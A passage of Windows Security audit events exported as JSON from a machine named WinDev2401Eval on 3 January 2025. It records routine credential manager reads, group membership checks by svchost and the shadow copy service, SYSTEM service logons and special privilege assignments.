untOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.735148Z"}},"EventRecordID":21457,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.168092Z"}},"EventRecordID":21458,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.171922Z"}},"EventRecordID":21459,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.173300Z"}},"EventRecordID":21460,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.173368Z"}},"EventRecordID":21461,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.660814Z"}},"EventRecordID":21462,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x15b4","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:38.661147Z"}},"EventRecordID":21463,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x15b4","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.123290Z"}},"EventRecordID":21464,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.123296Z"}},"EventRecordID":21465,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.147711Z"}},"EventRecordID":21466,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.148208Z"}},"EventRecordID":21467,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.151146Z"}},"EventRecordID":21468,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.151150Z"}},"EventRecordID":21469,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.152716Z"}},"EventRecordID":21470,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.153146Z"}},"EventRecordID":21471,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.156235Z"}},"EventRecordID":21472,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.157205Z"}},"EventRecordID":21473,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.160541Z"}},"EventRecordID":21474,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:50.160991Z"}},"EventRecordID":21475,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1ea0","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:08:06.187671Z"}},"EventRecordID":21476,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:08:06.187676Z"}},"EventRecordID":21477,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:09:37.969804Z"}},"EventRecordID":21478,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:09:37.969812Z"}},"EventRecordID":21479,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:09:38.934590Z"}},"EventRecordID":21480,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:09:38.934595Z"}},"EventRecordID":21481,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT 